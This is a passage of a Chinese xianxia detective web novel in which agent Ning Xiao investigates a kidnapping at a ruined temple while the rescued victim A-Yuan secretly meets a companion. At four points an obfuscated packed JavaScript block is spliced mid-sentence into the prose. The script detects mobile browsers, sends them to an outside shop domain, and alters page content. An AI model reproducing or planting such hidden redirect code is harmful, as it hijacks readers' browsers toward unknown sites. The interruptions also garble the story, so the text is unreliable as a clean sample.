秦荣也用余光观察到了宁霄的反应,此时又回过头来缓缓道:“他一个人吗?” 阿远思索片刻后,忽然回过神来,语气清晰有力答道:“草丛里还有两个人!我怕惹怒他,没敢跑!” “然后呢?他动手了?” “他……走过来,说要带我去家里喝水,然后,然后……”阿远蹙眉凝神想了半天,最后摇了摇头,“我就不记得了。” 秦荣环顾四周看了看大家,伸手拍了拍阿远的胳膊,安慰道:“你的记忆似乎开始恢复了,这是好事,不用太逼自己,慢慢来。” 总算是得到了一些新的线索,大家纷纷畅所欲言。 议事到了尾声,秦荣还是按照现有的线索给大家分配了任务。 吴季旸去调查走镖的事情,苗淇和老许依旧围绕那些神秘的符文去查,三组和一组则围绕阿远给出的信息,去那间破庙附近查看情况,一旦有任何线索,立刻带许闻楼去辨认痕迹。 阿远对于陌生的环境和人事物依旧有着强烈的恐惧情绪,见状,秦荣也不好强迫,还是让宁霄把人带回去了。 临走前,秦荣忽然叫住了宁霄,吩咐道:“把人送回去后,有时间的话你也跟着妙云和任彪他们去庙那边看看吧,如果受害人有了新的线索,也及时汇报回来。” 宁霄自然是想要做点和案子相关的事情的,于是立即答应了下来。 从六房出来后,宁霄和一组三组的组长商量了一下,决定先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999282|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把阿远送回去,再去与他们汇合,于是她带着阿远离开了前厅。 虽说缉凶司的营生又苦又累,但好歹挣了份有意思的差事,宁霄还是很开心的。 连阿远都忍不住多看了她几眼,开口问道:“原来你会笑啊?” “嗯?你还会开玩笑啊?” 宁霄说罢,两人都笑了起来,几天前才刚刚获救的阿远似乎也随着笑意驱散了一些恐惧的阴霾。 在经过前院时,阿远却忽然转头盯着一处看,宁霄便也跟着扭头看了过去。 只见罗靖正坐在案前接待着报案人,那报案人身材颀长,身板结实,头戴兜里,后背还背着一柄阔剑,似乎是修行之人。 这剑初看倒是没什么特别的,可一对比就会发现,这剑几乎要有半个人宽了,长度几乎和一个十二三岁的小孩差不多高! 正当宁霄震惊之际,那罗靖也不知道长了什么千里眼,明明报案人将她的整个头都挡住了,她却偏偏能感觉到什么似的,身体忽然往右一倒,立马就看到了宁霄。 “喂!你们要出去吗?你不会已经散值了吧?!” 伴随着她的哀嚎,报案人也循声回头,只见他正从衣襟中摸出一张叠起来的纸,然而在看到他们的瞬间,不仅动作顿住了,连眼神都变了。 宁霄自然是不认识此人的,于是下意识看向了阿远。 然而阿远却低着头,似乎并没有发现什么异常,见她看过来,还有些莫名其妙,问道:“我们不走吗?” “啊……”宁霄眼珠一转,语气未变,“去跟罗靖炫耀一下。”说罢,便朝记录报案的小屋走去。 那小屋三面是墙,用来遮阳挡雨,面向缉凶司大门的一面则整个露着,中间置一书案,用来记录报案信息。 虽然偶尔和同僚在上值期间说说话也是一种放松,但好歹报案人还在跟前呢,罗靖并没有发癫,只是赶紧提起笔来,希望赶紧把事情做完。 “您继续说,您要找的人是什么身份?长什么样?” 宁霄也有些好奇,站在案边旁听。 可那报案人却忽然语无伦次道:“啊,我呃……嘶,我也忘了,那个,我看错了可能是……” 他一边说着,一边手忙将乱将纸张收起,随后立刻扭头朝缉凶司外走去。 “啧,真是扰乱公务,”罗靖不满地放下笔,将面前已经写了几个字的纸张撕去,小声嘟囔道:“要不是看你长得俊,我肯定揍你了!” “那人来寻人?” “是啊,刚来没一会儿呢。你呢?干嘛这么早走?背着我翘班儿?” “哪有那么好的事,”宁霄说着回头看了一眼,见阿远才磨磨蹭蹭跟来,“一会儿要跟着六队去查案,我先把阿远送回去。” 说罢,阿远忽然道:“宁霄,我自己回去就行。” 见她疑惑,他连忙解释道:“你看,他们已经出发了,你把我送回去再去追就来不及了。” 宁霄闻言看去,只见一组和三组的人刚从马厩牵了踏影出来,不禁有些犹豫,思索半天后才问道:“你自己可以吗?” “可以的!我记得路。” 眼见六队的人就要出发了,宁霄不由得也有些心急,犹豫之下,从腰间挂着的皮革小包里摸出了一张符纸和一个钥匙递给了他。 “万一有事就撕掉符纸,若是无事,回家后放进琉璃盏烧掉,我会知道,半个时辰后没有消息,我就去找你。” 阿远痛快接过,还不忘催促道:“他们要走了!你快些去吧,你说的我都记下了!” 闻言,宁霄又找出些碎银塞进他手中,也不再犹豫,立刻朝六队的人追了去。 8. 丹奴(八) 回宁霄家的路虽然只走过一遍,但阿远已经记了个八九不离十。 他顺着繁华的大路往小院走,不知过了多久,忽然发现,远处人群中站着一个熟悉的人。 他带着斗笠,浅色的衣衫,长身玉立,身后背着重剑,站在人群中看着他。 正是刚才在缉凶司报案处寻人的人。 那人抬起斗笠边缘,露出了一张熟悉的脸。 但阿远并没有急着上前,而是保持着自己的步伐,时不时借着好奇的目光观察着周围的人。 远处那人也很识趣,扭头朝前走去,只是行动的速度很慢,时不时就在街边的摊子铺子前停留。 终于,在阿远靠近那人所在的摊位时,那人恰好转身离开。 擦肩而过的瞬间,那人将一张符纸塞进了阿远的手心。 即便一言不发,阿远也明白他的意思,借着周围人群的拥挤,他将符纸收进袖口,随后也假意看了看摊位上的东西后,就立刻离开,朝宁霄的小院走去。 那个人也一直安静地跟着,在可以看见阿远的位置小心隐蔽地跟着。 随着人流越来越少,建筑越来越稀疏,戴着斗笠的男人也没法靠得太近了,直到看到阿远停在一个小院门口,低头翻找东西时,才默默离开。 - 阿远攥着袖口藏起的符纸一路紧张地回到小院门口时,才发现一件事——宁霄家的禁制怎么解啊? 隔壁门前树下,那个被宁霄称为老妖怪的老头又在晒太阳,此时见他局促徘徊,忽然冷不丁问道:“那丫头死外边了?” “你胡说什么啊?” 阿远说罢,却听那老头自顾自乐了起来,觉得实在是莫名其妙,于是自己靠近院门,准备研究一下。 然而没想到一点阻碍也没有,他就顺利摸到了院门的门锁。 他这才反应过来,宁霄给他的符纸上本来就有解禁的咒术,于是他立马掏出钥匙开了锁,逃也似地躲进了院中。 把门锁好后,他看了一眼院中的日晷,发现马上就要到一个时辰了,于是忙不迭将宁霄给的符纸找出来,当即就要放进院墙角的琉璃灯里。 可没等符纸靠近琉璃灯,他就先收回了手,转而看向了二楼中间宁霄的房间。 既然符纸上带着院子的解禁咒,那宁霄的卧房呢?会不会也是同一种禁术? 眼见时间不多了,阿远飞快奔上楼去,伸手想要触碰宁霄的房门,却发现那房门并未紧闭,阳光直接透过门缝洒在了走廊的地面。 他顺利推开了房门。 既然如此,符纸留着也没什么用处了,他来到窗边,借着窗扇的遮掩,施法让符纸落进了院中的琉璃盏中,只见其中火光猛地冒起,符纸便化成了飞灰。 施法的疼痛感异常激烈,他捂着胸口,站在原地煎熬等待着。 与此同时,顺着窗户的罅隙向外看去,刚好能看到邻里的院落。 左边是老妖怪的院子,里面种着一棵异常粗壮的树,几乎要把半个院子都要挡住了,院中还留着一小块菜地,零星冒着一点点嫩芽。 右边的院子中,四周和中央的土地上则栽种着各式各样的花草,天气才刚热起来,枯枝上萌发了一片绿意,几只不常见的小兽在院中嬉闹着,在它们中间,一个女人正握着锄头仔细翻着土皮。 宁霄院子的对面更是热闹,摊贩和邻里每天便从中间的街道上路过,站在二楼就能尽收眼底。 也难怪宁霄乐意住在上面。 不过同样的,这个窗口能看得到外面,外面的人同样也能看得到窗口的动静。 等到痛感不再强烈后,阿远也不敢多做停留,借着窗扇的遮掩远离了窗口,随后才来到了宁霄的床边。 “得罪了。” 他仔仔细细摸索检查了一遍,终于在掀开床褥后发现了床板上的一个拉环和旁边的一条长长的缝隙。 伴随着紧张的心跳声,他拉动拉环,将那一片床板拉开了。 只见里面躺着几页纸,正是前几天他亲眼见过的房契和画押纸等,纸张上还放了两串钱和几粒银子。 阿远愣怔片刻,默默合上床板,整理好细节后便退出了房间。 隔壁的暗房照旧开着一条缝隙,他这次没有推门,只是站在门口朝里望了望。 只见里面的东西变了一点,但基本都是宁霄随手用了又及时补充后该有的样子,物件的种类也和他观察到的宁霄出门携带和回来采买到的东西一致。 见状,他才放心拖着疼痛的身体离开主屋,回到了自己的厢房。 从袖中摸出符纸,就着烛火点燃后,便有文字显现在他面前: 久觅君影,曷其有极?今幸偶遇,未知安否?何不相认?今日擦肩处,余当候之,日月不论,静待佳音。 文字逐渐淡去,阿远终于长舒了一口气。 - 另一边,宁霄骑着踏影跟随前辈一行朝东南郊野而去。 踏影虽然和普通的马很相似,但好歹也是灵兽,行进的速度非常快,为了不打扰百姓,他们干脆是从缉凶司侧面的山路绕着圈子去的。 等绕了半个主城过去,踏影甚至都还没开始大喘气,悠悠闲闲在外围的树下溜达。 大家站在小丘上,一眼望去便能看到小小的庙宇正立在不远处,朱漆已然褪色,屋脊上矗立的脊刹也只剩下了底座,顶端的宝物早已消失无踪。 三组组长杨妙云观察了片刻后,将两组人员分成三路,分别从庙宇两侧外围和中间的小路进行线索探查,宁霄因为没有经验,被分在了左侧外围。 “彪子,老许那边通知了吗?” 任彪闭眼撇嘴,很是不满地回应道:“通知了,正往这儿来呢。还有,你能不能别这么叫我啊?谁跟你说我叫彪子的?!” “这不是顺口吗?显得你……高大威武?”杨妙云也是信口胡诌,眼见他又要争辩,赶紧往旁边撤了几步,大声知会着众人,“都看着点儿脚下,有任何痕迹都要进行标记,所有人听清楚了吗!” “明白!” 这片地方的杂草并不算太高,但是枯黄干瘪,土块又很干燥,很多时候连他们自己经过时都留不下什么太深的脚印。 因此,为了不错失任何有用的证据,所有人走路都非常缓慢,生怕错过任何细节。 宁霄和同僚们站成一排,并肩推进,她走出几步后看了看旁边同僚离开时的痕迹,有些发愁。 这些枯草颜色浅,有的还中空,很多时候伏倒并非外力,同样的,真正的外力痕迹也很难体现。 但为了赶上进度,宁霄还是弯下腰,仔仔细细检查自己面前的东西。 不多时,中间一路的人已经发现了几个线索,等到杨妙云和任彪去检查过后,外围才终于传来喜讯,在右侧一路发现了有人蹲守的痕迹。 唯有宁霄所在的这一侧组别,只勉强发现了几个脚印,相比起来显得十分寡淡。 她看了看另外两路的线索,心中大概有了一些猜测,中间的小路本来就是通往庙宇的主路,杂草相对少一些,人们自然会选择走这一条路,阿远当时必然是站在这条路上遇害的。 右侧外围发现了有人蹲守的痕迹,那必然是袁四手下的藏身之处。 至于左侧,既然和中间路线之间的部分都没有什么线索,那么基本上可以废弃了。 于是最先空闲下来的左侧一路人马先一步绕到小庙侧面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好,辛苦了。”任彪说罢将符纸交给下属保管,自己则朝妙云和老许他们走去。 出于好奇,宁霄也一并跟了上去。 只见老许冲着庙里摇摇头,随后又在杨妙云的劝说下往里探了半个身子。 待两人走近,便见老许冲着某处指指点点,道:“主神基座旁边除了嫌犯的痕迹外好像还有些不一样的痕迹,和外面那些都不一样。” “那还能是谁的?老许你可看清楚啊。” 面对杨妙云的质疑,老许笑得轻松,道:“绝对是其他人的,那个位置的痕迹和外面的几处可是完全不同,我只是半瞎,又不是全瞎。” “嘿嘿,那肯定还是你看得准啊,和你比起来我们才瞎呢。”杨妙云打了个哈哈后,看着庙中那处位置,有些发愁。 刚才她已经仔细检查过了,主神基座周围只有两个人的足迹,和那两个侍卫的特征完全一致,哪有什么其他人的痕迹呢? 一扭头,见宁霄跟她一样正冲着那片“无痕的痕迹”皱眉,便立刻嬉笑着揽住她的肩膀,熟人似的询问道:“怎么样?看出什么痕迹了吗?” 宁霄冷不丁一抖,身形僵硬地看着庙中的布局,忽然想到了什么。 随即借此摆脱了杨妙云的胳膊,绕着小庙外墙来到了庙宇背后。 只见后面的墙壁上一左一右嵌着两张木窗子,她站在右侧窗户边上,伸手扣住窗扇上的格纹一拉,木窗洞开,荡起了一片灰尘。 透过木窗,她正好与杨妙云四目相对。 与此同时,那木窗角落露出的长钉上,还挂着一小片浅色的布料。 因为布料太小,窗户一关就给遮了个严实,所以在刚才检查时根本没人注意到。 她将布料小心取下,两指拈着朝对面瞪着大眼的杨妙云挥了挥。 9. 丹奴(九) 郊野神庙的探查也算是收获不小,留了几个人看守现场后,两组人员和老许就鸣金收兵了。 六房再次齐聚,各自交流着自己的发现。 吴季旸和别人说完话,便凑过来跟宁霄搭话了,他用胳膊肘一怼,问道:“怎么样?提前感受一下本部的生活,还适应吗?” 宁霄点点头,并不算恭维,道:“感觉有点意思。” “比起挖灵石呢?” “比挖灵石有趣。” 闻言,吴季旸却一脸不怀好意地嗤笑起来,说:“那你还是不太了解缉凶司。” 浑水摸鱼八卦了一会儿后,秦荣便到了。 只见她风尘仆仆,脱披风时都能抖落一阵尘土,额头的碎发被汗湿,看起来似乎连整理的时间都没有。 刚一落座,大家就安静了下来,纷纷归位。 伴随着纸张翻动的声音,秦荣已经直入主题了,抬头扫了一圈,冲吴季旸道:“开始吧,四组这边。” 原本嬉笑的吴季旸瞬间换了副严肃正经的样子,条理清晰地介绍起自己这边的情况。 “我们去捷渡水寨查过了,按照时间倒推,袁四那伙人留的根本就是假身份,尾巴都没揪到,他们水寨的走镖生意基本上给钱就干。而且,他们根据记忆找到了之前几次袁四这边的单子,没有一次真实信息,卖家挺小心的。” “每次都是袁四亲自跟他们交易吗?没有留下什么形貌特征?” 吴季旸摇摇头,道:“交易人不固定,但这次的案子的确是袁四亲自去谈的,因为形貌特征和我们目前掌握的线索很吻合。” “这里是根据水寨那边的说法绘制的嫌犯样貌。”他一边说,一边将画像分发给了大家,“为了防止打草惊蛇,目前还没有张贴。” “可以看一下,大致特征和买家、宁霄他们说的差不多,只有手指的特征不确定,他们没太注意到嫌犯的左手。” 秦荣扫了几眼后,看向了宁霄。 “宁霄你觉得呢?像吗?” 那张画像上的男人看起来年逾不惑,比老许看着还要老一点,眼睛不小,但却压得有点窄,一副精明阴险的样,中庭偏长,鼻孔有些外露,嘴巴抿成了一条裂缝,下巴正如她那天看到的一般无二。 宁霄点点头,又问了此人的身形特征后,才点头应道:“像。” 闻言,秦荣当即大手一挥,派人去拓印张贴了。 “还有什么补充吗?” 吴季旸把画像和画师的情况交代给了被委派的人后,才急忙应道:“哦,队长,给买卖双方牵线的那个赌鬼我们也去找了,和他相关的人员暂时没有找到,我已经让人去籍册司查那人的身份和名籍了。” “嗯,有需要随时跟我沟通。苗淇呢?” 一向稳重淡定的苗淇这次罕见地露出了挫败的表情,她手里拿着一叠符纸,却并没有交给秦荣。 “秦队,根据排查,这种符文出自民间派别,具体的门派已经不得而知了,因为这种符文的传承全靠民间私人之间传递教学,门派的来源也是众说纷纭。至于那个符纸的碎片,还没有线索,应该就是私人制作的了。” 秦荣听完却并不失望,下巴一抬,指着她那一叠符纸道:“看来找到了不少会写这符纸的人嘛,大不了把人都请过来,让他们一个个辨认。” “诶诶,别急别急,”杨妙云伸手打断了两人的对话,立刻把今天找到的符纸拿了出来,“东南郊野那个破庙旁发现的,是一张没被使用过的符,应该是嫌犯方遗落的,苗淇你比着这个现成的再找找。” 闻言,苗淇的魂儿都回来了,比秦荣先一步接过了符纸,当即就开始比对起了自己搜集来的符文。 见状,秦荣也没责怪,反而顺势问起了杨妙云和任彪这边的情况。 “队长,我们在那间破庙旁边发现了嫌犯的踪迹。”杨妙云非常兴奋,一个接一个摆出了搜集回来的证物和线索,并且拿出了一张草图来指示证物所在的方位和情况。 “根据受害人提供的线索,他是在那间破庙附近被抓走的,我们的确在那发现了一些佐证,比如脚印,术法痕迹,以及那个符纸,基本可以断定嫌犯是多人作案,将受害人迷晕后带走的。” “不过在现场还发现了一些奇怪的痕迹,”杨妙云又铺了一张新的草图出来,“这是庙内的图,庙里的主神不知所踪,基座断面相对较新,落灰大概也就几个月,在基座周围还发现了一些脚印,和庙外的几枚脚印一致。” “另外是这一块破布,夹在庙内右后侧的窗户缝里,暂时无法判断是什么用途,以及所属人是谁。” 面对这样新且多的线索,大家纷纷围拢过来七嘴八舌地分析起来。 “这不一目了然吗?嫌犯必然是躲在庙里伺机袭击了受害人啊。” “可是庙外不是有个大凹痕吗?而且有嫌犯和水寨那两个人的术法痕迹,肯定是他们进去把神像给搬出来的啊。” …… 听到这儿,杨妙云却忽然打断了大家,连忙拿出了新的一张草图。 “别急别急,这两张才是术法痕迹的草图,根据老许的观察画的,庙里基本没有术法痕迹,庙外在小路上、凹痕附近有痕迹存在。” 草图一出,大家又是一阵争执和辩论,谁也说服不了谁,甚至连杨妙云自己都加入了这场论战,舌战群儒的同时又不能得出一个可以连接所有不合理之处的设想,于是很快成了被围攻的对象。 秦荣也不想打断他们,招招手唤了任彪到跟前问了个清楚。 等到辩论即将发展成约架大会时,秦荣才出手施法,把几个人硬生生按在了座椅上。 “咳,布料的问题先保留,既然和水寨的人对不上,那就等之后的新线索吧。” 说罢,她忽然转向了宁霄。 “宁霄,提供线索的受害人在你那,你密切关注一下他记忆的恢复情况,看能不能解答一下神像的问题。” “是,队长。” 另一边,在众人的吵闹声中依旧不动如山地对比符文的苗淇忽然抬起了头,但依旧是一副愁眉苦脸的样子。 “秦队,”她摇摇头,“没有内容一致的符文,相似的笔迹也没有。” “不要紧,这次找到了完整的符文,你议事结束后再去找人问问,实在不行也可以去黑市发个悬赏,需要的话告诉我,我去找使长要悬赏金。” 今天的议事很快就结束了,线索越查越困难,好像走进了一个逐渐收窄的过道,很难确定前方究竟是死胡同还是别有洞天。 明天就是休沐日了,但各组的组长依旧在安顿人手。 一组和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999284|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三组只能等新的消息和线索,但还要派人轮流守现场,二组要继续查找符文的出处,四组则只派了几个人去籍册司办事。 等到大家都安顿好了,秦荣也离开了,宁霄还留在原地,根本没人搭理她。 毕竟她并不是六队的人,虽然跟着一组和三组查案,但说到底也不是杨妙云和任彪的手下。 不过宁霄对此并不沮丧,毕竟,休沐日还上赶着干活的人,属实是该去看病驱邪了。 “散值啦宁霄,”杨妙云路过她时拍了拍她的肩膀,“休沐日你先休息吧,有情况我会联系你的。” 吴季旸则语重心长地感慨道:“好好享受正常的休沐吧~千万别想案子,以后有的是时间想。” - 紧锣密鼓的一天结束,宁霄便急着先回家了。 虽说符咒已经按时生效,证明阿远已经安全准时到家了,但毕竟是重要证人和受害人,她还是有义务保证他的绝对安全的。 傍晚的街道上,行人少了很多,基本上都在匆忙归家。 有的人家已经早早点上了灯,人声隔着墙传出,隐隐约约聊着些什么,吵闹声常有,欢笑声也不少。 宁霄在这条路上走得次数多了,也习惯了,只要手里握着刀,脚步就不会慌张急促。 凭借着习惯走到家门口时,她才回过神来,甫一看到院中透出的灯火时,她竟下意识一震,握刀的手瞬间紧了。 但随即又想到了阿远,这才缓缓放下了警惕心。 她通过禁制,敲了敲门。 没人应。 等了片刻后,她便走到侧面墙边,一个飞身攀上了墙,才一露头,就看到了院中抱着扫把的阿远,正瞪大双眼看着她。 他正对着院门立着,见是她,才把扫把从胸前放了下去,但眼神中仍留有一丝惊惧。 虽说爬的是自家的墙,但宁霄此时着实感受到了一种愧疚和无措感,攀在墙头顿了顿后才跳进了院子。 “那个……我没带备用钥匙。”她下意识解释道。 “啊,我刚才在屋里,没听到你喊我,过来发现没声音,还以为是别人。” “唔……你吃饭了吗?” “已经吃过了。”阿远将扫把靠在院墙上,随即从兜里翻出了钥匙,递给了宁霄。 然而宁霄没有伸手,道:“你先拿着吧,不然进出不方便,钥匙我还有。” “好了,我们也别傻站着了。”说着,她往里走了几步,习惯性地环顾了一圈。 身后随即传来了阿远的声音,“房间和院子我都打扫过了,我在的时候,没人来过。” 宁霄扭头看他,竟不知道该说些什么。 多年来的生活经验让她非常警惕,每天回家都要检查一下住处的安全才敢放心休息,没想到阿远才住了几天,就已经觉察到了她的习惯。 “哦,好。”宁霄应和着,脑海中忽然跳出了郊野神庙的线索,记起了秦荣交代的任务,但话到嘴边却变成了“辛苦了,你也早点休息吧。” 反正明天休沐,何必这么着急。 宁霄如此辩解着,默默回到了自己的房间。 窗扇罅隙中,厢房的光映照着阿远的身影,他趴在窗户边,抬头望月。 空中,是一片薄薄的白月,好似轻纱裁切成的碎片。 10. 丹奴(十) 好不容易可以休息一下了,可宁霄还是早早就醒了。 在床上瞪着屋顶看了半天后,还是一骨碌爬起来了。 她走到挂衣服的地方,摸了摸自己制衣的腰包,找出了一张纸,看罢就直接在手心里烧掉了,没留下一点飞灰。 穿好便服后,宁霄走到隔壁的暗房里,挑挑拣拣拿了些丹药符箓之类实用的小玩意儿后,便蹬蹬蹬下楼去了。 刚出堂屋,便见阿远身前围着蔽膝,正在院中花圃周围侍弄着里面的药草,脚边还放着一小堆杂草和石块。 扫视一圈后,发现地面干净整洁了许多,花圃中的杂草乱石也被清除掉了,宁霄不由得有些惭愧。 自打她入住这个院子以来,打扫基本上都是有一搭没一搭的,要么是没想起来,要么是没时间弄,但因为她也不怎么折腾,院子倒也并不杂乱,也就看习惯了。 可如今却让一个客人抢了先,这让她着实有些不好意思了。 “你……” “宁霄,早啊!你要出门吗?” “啊,对,出去办点事。” “那你什么时候回来?家里的食物已经被我吃光了,我们是……” 不等阿远说完,宁霄就立刻从自己的腰包里翻出了一些银子递给了他,“我可能晚些回来,钱你拿着,想吃什么就自己买,附近的铺子不少。” 阿远顿时笑了,将银子仔细收好放进了自己衣襟的夹层里,“噢对了,我没有解禁的符了。” 闻言,宁霄一顿,道:“你等着。” 说罢又蹬蹬蹬上楼,很快握着个东西下来了,那是个小鱼样子的挂坠,鸡蛋大小,石榴色,看起来好似什么玉石材质。 “上面有解禁的咒术,你拿着这个就可以进来了。” 阿远接过挂坠,很是新奇地翻来覆去看了半天后,才挂在了自己的腰带上,整个人看起来都雀跃了不少。 但宁霄上楼除了拿这个,还取了大半块银锭。 “这个你也拿着吧,你帮忙做了不少事,这银子就当是我雇佣你了。” “我不要。”阿远顿时缩了缩脖子,一副要与银子划清界限的表情。“我住在这里已经很麻烦你了,你是我的救命恩人,这恩情我怎么还都不过分的。” 但宁霄态度坚决,拉过他的手臂,将银子塞进了他的手心里。 “你拿着我心里舒服些。我只是抓罪犯,你本来就不该被他们伤害,救你也只是我的职责所在。况且你来我这里住非但没添麻烦,还帮我做了不少事,这是你应得的。” “而且,”不等他反驳,宁霄就抢了话头,“案子距离真相大白恐怕还有些时日,我原本回家就没个准头,缉凶司的事务又多,你拿着钱照顾好自己,也算是帮我的忙了。” 她也不管阿远是否同意,自顾自又找了一些符纸出来,递给了他,嘱咐道:“这符可以求救,遇到什么意外,随便怎么损毁,我都会知道。” 说罢,她就朝门口走去,只留给阿远一个不容拒绝的背影。 “宁霄!谢谢你!早点回来!” 身后的声音让宁霄的脚步顿了顿,但她随即推门而出,回身关门时,才看着他露出了一个浅淡的笑容。 阿远朝她挥了挥手,亲眼看着她关上门,又听着她的脚步声逐渐消失。 院子里的杂草很快被他清理干净了,才花了不到半个时辰。 他脱下蔽膝,回厢房换了身不同颜色的衣服,揣着个小竹篮走出了院门。 高挑挺拔的个头搭配了这么一个小篮子,看起来很不协调,但他毫不在意,嘴角还挂着若有似无得笑意。 将院门闭紧,又一一摸了摸自己身上带着的东西后,他才给门上了锁,准备离开。 “要去哪儿啊?” 一道苍老而熟悉的声音传来,阿远扭头一瞧,果然是隔壁那老妖怪。 老妖怪晃动着躺椅,眼神戏谑地看着他,悠悠哉哉地调侃道:“细皮嫩肉的,也不怕被妖怪给吃喽!” 阿远有些不满地瞥了他一眼,呛声道:“谁要是敢吃那就试试。” 说罢也不多搭理他,自顾自沿着街道离开了。 - 在宁霄家所在的地方,周围虽然不繁华,但基本的东西还是应有尽有的,基本可以满足所有衣食住行的需求。 但阿远脚步不停,从那个破旧的区域一路走向了修界最繁华的主城中心。 逆向的路线走起来并不算顺畅,但他昨天回去的路上认真观察了几乎每条街的特色标志,竟然一次都没有走错过。 还未靠近那个不起眼的香料小摊,他就一眼认出了站在一旁的人。 依旧是那样一副打扮,粗糙的斗笠看起来与他华贵的衣饰有些不相匹配,此时正怀抱着剑站在角落里一动不动,视线却一刻不停地逡巡着。 阿远加快了步伐,一边左右观察着,一边抬手挥了挥。 “长恩!” 刘长恩也扫见了他,眼睛顿时亮了,也朝他走了过去。 不等他说话,阿远先拽着他往街角撤了撤,还时不时观察着周围的动静。 “我一直盯着呢,这附近没人,放心吧。” 尽管阿远很放心他的能力,但他们对这里毕竟不够熟悉,所以阿远还是找了个茶馆厢房,门一关,才敢安心说话。 刘长恩摘掉斗笠,忙不迭问道:“你怎么样了?这么久没有你的音讯,我都快急死了。你为什么非要自投罗网去做功德呢?这次你可别嫌我说你,你确实是太冒进了!” “好好好,消消气先,”阿远将茶杯送到刘长恩面前,态度极尽讨好,“这次我肯定一句都不敢顶嘴了,你先冷静一下,你看,我这不是还好好的嘛。” 刘长恩将茶水一饮而尽,将杯子重重搁在了桌上,眉头和嘴巴还皱着,眼神正幽怨地盯着他。 “我错了。” 阿远一句话不敢多说,张嘴就是道歉,坐得端端正正,一副任人批判的样子。 刘长恩就这么怒视了他好半天,才忍住没有造口业。 “你既然出来了,怎么不赶紧回去?你就算暂时不打算回去,至少也先找到我跟我说一声啊!” 此话一出,阿远的神情瞬间垮了下来。 “嗯……我这边……情况不太好。我打算再留一阵子,你也看到了,这个案子还在办,我想等案子了结再说。” 闻言,刘长恩没有急着反驳,只是目光不停地在他身上来回打量,像是在找什么东西似的。 阿远也有些局促起来,两手在膝盖上用力握着,视线都不敢与刘长恩对视。 不知过了多久,刘长恩才开口道:“你的内丹……” “这不是还在找嘛,你也别太担心,我感觉缉凶司还是很靠谱的,他们现在已经……” “凌非远!” “诶呀我错了,你小点儿声吧,我也没想到他们那么厉害呀,我也是好心嘛,而且我是受害者诶!你不是应该站在我这一边吗?” 此话一出,把刘长恩的怒气彻底堵回了肚里,他只好闭上眼睛,试图调整自己的吐纳来平息愤怒。 等到凌非远一杯接一杯把一茶壶的水都喝尽了,刘长恩才睁开眼睛,叹了一口气。 “需要我回去禀报吗?” “诶诶先别,这事儿毕竟是修界的案子,报上去可就复杂多了,而且他们也不一定会管这等小事,还不如让缉凶司来办呢。” 刘长恩没反驳,又问道:“那你的寻人布告呢?需要去揭掉吗?” 凌非远思索片刻,摇了摇头,道:“先别了,我的身份不好解释,而且对于案子……应该也没什么帮助,先别管了。” “那需要我做什么?” 眼见刘长恩的情绪已经平静了下来,凌非远便立刻起身收拾起了东西。 “走一步看一步吧,有什么需要我再找你,你也看到了,我最近落脚的地方很安全,你也别太操心了。” “你借住在一个缉凶使的家里,真的安全吗?” “你应该也看到她了吧?!”凌非远眼神一亮,嘴角是按耐不住的笑意,“她就是救我的恩人!放心,我观察过了,她一定是个好人!” 闻言,刘长恩蹙起眉头,眼神里满是怀疑。 “这是你第一次来修界, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999285|193945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚来就被人拐走!你怎么还如此天真?” 见他不信,凌非远也没辙,干脆住了嘴。 刘长恩说了一通后,火气渐消,问道:“以你现在的状况,你要如何联系我?” “嗯……你有没有那种一烧掉你就能感知到的符纸之类的?” “我又不是术士,从哪找什么符纸之类的?”话虽如此,但刘长恩还是得到了一些启发,当即施法幻化出了几颗琉璃似的珠子,“用这个吧,若要找我就捏碎一颗,我立刻就到。” “好嘞。”凌非远把东西收好,揣着篮子就要离开。 “你这么快就要走?” “对啊,我出门来主要是为了买吃的,反正我的状况你也知道了,就放宽心吧。” 眼见此人的态度从一开始的任人打骂到现在的若无其事,刘长恩都看愣了,只觉得心里一团闷火无处发泄,几乎要七窍生烟了。 临走时,凌非远忽然停住了脚步,刘长恩还以为他是有什么要事要交代,却见他指着桌上的东西认真嘱咐道:“记得把茶点什么的都吃掉啊,这东西要价不低呢。” - 宁霄从西南面的山林间出来后时辰已经不早了,随便找了个吃饭的地方填饱肚子后,就径直往家的方向去了。 在离开主城中心一段路途后,她又熟门熟路地拐进了一家药房。 她没有看诊,而是直接去柜台前叫出了一些药材和药方的名字。 